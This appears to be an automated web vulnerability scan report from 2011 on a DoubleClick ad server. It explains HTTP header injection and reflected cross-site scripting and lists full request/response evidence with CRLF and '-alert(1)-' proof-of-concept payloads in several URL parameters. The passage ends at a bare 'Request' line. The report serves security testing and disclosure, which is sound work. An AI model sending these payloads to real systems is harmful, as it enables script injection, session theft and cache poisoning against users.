HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
The value of REST URL parameter 1 is copied into the Location response header. The payload 5f134%0d%0a61816c1ba6c was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.
Request
GET /5f134%0d%0a61816c1ba6c/N5506.150290.INVITEMEDIA/B5070033;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3B6423724ab7691482%3B12de6f2f4b2,0%3B%3B%3B932760147,NwQAAD4rFgAptXQAAAAAACzLHQAAAAAAAgAQAAIAAAAAAP8AAAAECkpVJAAAAAAA5-4WAAAAAABeUicAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAsfTy5i0BAAAAAAAAADg0OTk2MjA4LTJlZGYtMTFlMC1iOTdkLTAwMzA0OGQ2ZDg5MAAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,$http://t.invitemedia.com/track_click?auctionID=12966598381452862-73583&campID=52754&crID=73583&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F&redirectURL=;ord=1296659838? HTTP/1.1 Host: ad-emea.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?NwQAAD4rFgAptXQAAAAAACzLHQAAAAAAAgAQAAIAAAAAAP8AAAAECkpVJAAAAAAA5-4WAAAAAABeUicAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAAABggqpA1D8AAJD6T6fUPwAAYIKqQNQ.AACQ-k-n1D9HfacomovVPwAA4OnM-NU.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADjya-s.FmSCZIMRPBESjaXH5pC98tmCtRtuX5jAAAAAA==,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,Z%3D300x250%26click%3Dhttp%253a%252f%252fad.doubleclick.net%252fclick%253Bh%253Dv8%252f3aa2%252f3%252f0%252f%252a%252fn%253B228957569%253B0%252d0%253B0%253B45421688%253B4307%252d300%252f250%253B38375088%252f38392845%252f1%253B%253B%257Eaopt%253D2%252f0%252f36%252f0%253B%257Esscs%253D%253f%26e%3D58661%26S%3D%26I%3Dhomepage%26_salt%3D1109920069%26B%3D10%26r%3D0,84996208-2edf-11e0-b97d-003048d6d890 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
The value of REST URL parameter 1 is copied into the Location response header. The payload 15468%0d%0a61dc607be51 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.
Request
GET /15468%0d%0a61dc607be51/N5506.150290.INVITEMEDIA/B5070033.24;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3Bcc4f2de67b5e0116%3B12de6efc24a,0%3B%3B%3B2600164045,NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAASsLv5i0BAAAAAAAAADA3YjRmN2Q0LTJlZGYtMTFlMC1iNGRlLTAwMzA0OGQ2Y2ZhZQAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=67677&crID=87798&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F&redirectURL=;ord=1296659628? HTTP/1.1 Host: ad-emea.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAAAIAka89F1z8AAIj9nBzbPwCAJGvPRdc.AACI.Zwc2z-ejamSGMLYPwAAcJCh19w.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlOcB7KlmSCbftrzIXCBE9jVq9wOUizpEl4mSqAAAAAA==,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,Z%3D300x250%26click%3Dhttp%253a%252f%252fad.doubleclick.net%252fclick%253Bh%253Dv8%252f3aa2%252f3%252f0%252f%252a%252fv%253B228957569%253B0%252d0%253B0%253B45421603%253B4307%252d300%252f250%253B38375088%252f38392845%252f1%253B%253B%257Eaopt%253D2%252f0%252f36%252f0%253B%257Esscs%253D%253f%26e%3D58661%26S%3D%26I%3Dcomputers%26_salt%3D791003084%26B%3D10%26r%3D0,07b4f7d4-2edf-11e0-b4de-003048d6cfae Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the campID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5e9c8"-alert(1)-"ed8d98066a7 was submitted in the campID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5506.150290.INVITEMEDIA/B5070033;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3B6423724ab7691482%3B12de6f2f4b2,0%3B%3B%3B932760147,NwQAAD4rFgAptXQAAAAAACzLHQAAAAAAAgAQAAIAAAAAAP8AAAAECkpVJAAAAAAA5-4WAAAAAABeUicAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAsfTy5i0BAAAAAAAAADg0OTk2MjA4LTJlZGYtMTFlMC1iOTdkLTAwMzA0OGQ2ZDg5MAAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,$http://t.invitemedia.com/track_click?auctionID=12966598381452862-73583&campID=527545e9c8"-alert(1)-"ed8d98066a7&crID=73583&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F&redirectURL=;ord=1296659838? HTTP/1.1 Host: ad-emea.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?NwQAAD4rFgAptXQAAAAAACzLHQAAAAAAAgAQAAIAAAAAAP8AAAAECkpVJAAAAAAA5-4WAAAAAABeUicAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAAABggqpA1D8AAJD6T6fUPwAAYIKqQNQ.AACQ-k-n1D9HfacomovVPwAA4OnM-NU.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADjya-s.FmSCZIMRPBESjaXH5pC98tmCtRtuX5jAAAAAA==,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,Z%3D300x250%26click%3Dhttp%253a%252f%252fad.doubleclick.net%252fclick%253Bh%253Dv8%252f3aa2%252f3%252f0%252f%252a%252fn%253B228957569%253B0%252d0%253B0%253B45421688%253B4307%252d300%252f250%253B38375088%252f38392845%252f1%253B%253B%257Eaopt%253D2%252f0%252f36%252f0%253B%257Esscs%253D%253f%26e%3D58661%26S%3D%26I%3Dhomepage%26_salt%3D1109920069%26B%3D10%26r%3D0,84996208-2edf-11e0-b97d-003048d6d890 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 15:31:40 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 8925
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,$http://t.invitemedia.com/track_click?auctionID=12966598381452862-73583&campID=527545e9c8"-alert(1)-"ed8d98066a7&crID=73583&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D87663 ...[SNIP]...
The value of the crID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 59e74"-alert(1)-"6726dbbe500 was submitted in the crID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5506.150290.INVITEMEDIA/B5070033;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3B6423724ab7691482%3B12de6f2f4b2,0%3B%3B%3B932760147,NwQAAD4rFgAptXQAAAAAACzLHQAAAAAAAgAQAAIAAAAAAP8AAAAECkpVJAAAAAAA5-4WAAAAAABeUicAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAsfTy5i0BAAAAAAAAADg0OTk2MjA4LTJlZGYtMTFlMC1iOTdkLTAwMzA0OGQ2ZDg5MAAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,$http://t.invitemedia.com/track_click?auctionID=12966598381452862-73583&campID=52754&crID=7358359e74"-alert(1)-"6726dbbe500&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F&redirectURL=;ord=1296659838? HTTP/1.1 Host: ad-emea.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?NwQAAD4rFgAptXQAAAAAACzLHQAAAAAAAgAQAAIAAAAAAP8AAAAECkpVJAAAAAAA5-4WAAAAAABeUicAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAAABggqpA1D8AAJD6T6fUPwAAYIKqQNQ.AACQ-k-n1D9HfacomovVPwAA4OnM-NU.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADjya-s.FmSCZIMRPBESjaXH5pC98tmCtRtuX5jAAAAAA==,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,Z%3D300x250%26click%3Dhttp%253a%252f%252fad.doubleclick.net%252fclick%253Bh%253Dv8%252f3aa2%252f3%252f0%252f%252a%252fn%253B228957569%253B0%252d0%253B0%253B45421688%253B4307%252d300%252f250%253B38375088%252f38392845%252f1%253B%253B%257Eaopt%253D2%252f0%252f36%252f0%253B%257Esscs%253D%253f%26e%3D58661%26S%3D%26I%3Dhomepage%26_salt%3D1109920069%26B%3D10%26r%3D0,84996208-2edf-11e0-b97d-003048d6d890 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 15:31:59 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 8982
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,$http://t.invitemedia.com/track_click?auctionID=12966598381452862-73583&campID=52754&crID=7358359e74"-alert(1)-"6726dbbe500&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F ...[SNIP]...
The value of the partnerID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 112f0"-alert(1)-"3c37d85996f was submitted in the partnerID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5506.150290.INVITEMEDIA/B5070033;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3B6423724ab7691482%3B12de6f2f4b2,0%3B%3B%3B932760147,NwQAAD4rFgAptXQAAAAAACzLHQAAAAAAAgAQAAIAAAAAAP8AAAAECkpVJAAAAAAA5-4WAAAAAABeUicAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAsfTy5i0BAAAAAAAAADg0OTk2MjA4LTJlZGYtMTFlMC1iOTdkLTAwMzA0OGQ2ZDg5MAAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,$http://t.invitemedia.com/track_click?auctionID=12966598381452862-73583&campID=52754&crID=73583&pubICode=1502951&pub=58661&partnerID=219112f0"-alert(1)-"3c37d85996f&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F&redirectURL=;ord=1296659838? HTTP/1.1 Host: ad-emea.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?NwQAAD4rFgAptXQAAAAAACzLHQAAAAAAAgAQAAIAAAAAAP8AAAAECkpVJAAAAAAA5-4WAAAAAABeUicAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAAABggqpA1D8AAJD6T6fUPwAAYIKqQNQ.AACQ-k-n1D9HfacomovVPwAA4OnM-NU.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADjya-s.FmSCZIMRPBESjaXH5pC98tmCtRtuX5jAAAAAA==,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,Z%3D300x250%26click%3Dhttp%253a%252f%252fad.doubleclick.net%252fclick%253Bh%253Dv8%252f3aa2%252f3%252f0%252f%252a%252fn%253B228957569%253B0%252d0%253B0%253B45421688%253B4307%252d300%252f250%253B38375088%252f38392845%252f1%253B%253B%257Eaopt%253D2%252f0%252f36%252f0%253B%257Esscs%253D%253f%26e%3D58661%26S%3D%26I%3Dhomepage%26_salt%3D1109920069%26B%3D10%26r%3D0,84996208-2edf-11e0-b97d-003048d6d890 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 15:32:59 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 8953
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... %3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,$http://t.invitemedia.com/track_click?auctionID=12966598381452862-73583&campID=52754&crID=73583&pubICode=1502951&pub=58661&partnerID=219112f0"-alert(1)-"3c37d85996f&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F&redirectURL=http%3a%2f%2ffree.turbotax.c ...[SNIP]...
The value of the pub request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1d3b8"-alert(1)-"ad6539c90a was submitted in the pub parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5506.150290.INVITEMEDIA/B5070033;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3B6423724ab7691482%3B12de6f2f4b2,0%3B%3B%3B932760147,NwQAAD4rFgAptXQAAAAAACzLHQAAAAAAAgAQAAIAAAAAAP8AAAAECkpVJAAAAAAA5-4WAAAAAABeUicAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAsfTy5i0BAAAAAAAAADg0OTk2MjA4LTJlZGYtMTFlMC1iOTdkLTAwMzA0OGQ2ZDg5MAAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,$http://t.invitemedia.com/track_click?auctionID=12966598381452862-73583&campID=52754&crID=73583&pubICode=1502951&pub=586611d3b8"-alert(1)-"ad6539c90a&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F&redirectURL=;ord=1296659838? HTTP/1.1 Host: ad-emea.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?NwQAAD4rFgAptXQAAAAAACzLHQAAAAAAAgAQAAIAAAAAAP8AAAAECkpVJAAAAAAA5-4WAAAAAABeUicAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAAABggqpA1D8AAJD6T6fUPwAAYIKqQNQ.AACQ-k-n1D9HfacomovVPwAA4OnM-NU.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADjya-s.FmSCZIMRPBESjaXH5pC98tmCtRtuX5jAAAAAA==,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,Z%3D300x250%26click%3Dhttp%253a%252f%252fad.doubleclick.net%252fclick%253Bh%253Dv8%252f3aa2%252f3%252f0%252f%252a%252fn%253B228957569%253B0%252d0%253B0%253B45421688%253B4307%252d300%252f250%253B38375088%252f38392845%252f1%253B%253B%257Eaopt%253D2%252f0%252f36%252f0%253B%257Esscs%253D%253f%26e%3D58661%26S%3D%26I%3Dhomepage%26_salt%3D1109920069%26B%3D10%26r%3D0,84996208-2edf-11e0-b97d-003048d6d890 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 15:32:39 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 8942
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,$http://t.invitemedia.com/track_click?auctionID=12966598381452862-73583&campID=52754&crID=73583&pubICode=1502951&pub=586611d3b8"-alert(1)-"ad6539c90a&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F&redirectURL=http%3a%2f%2fl ...[SNIP]...
The value of the pubICode request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8b3b5"-alert(1)-"6e28e40048e was submitted in the pubICode parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
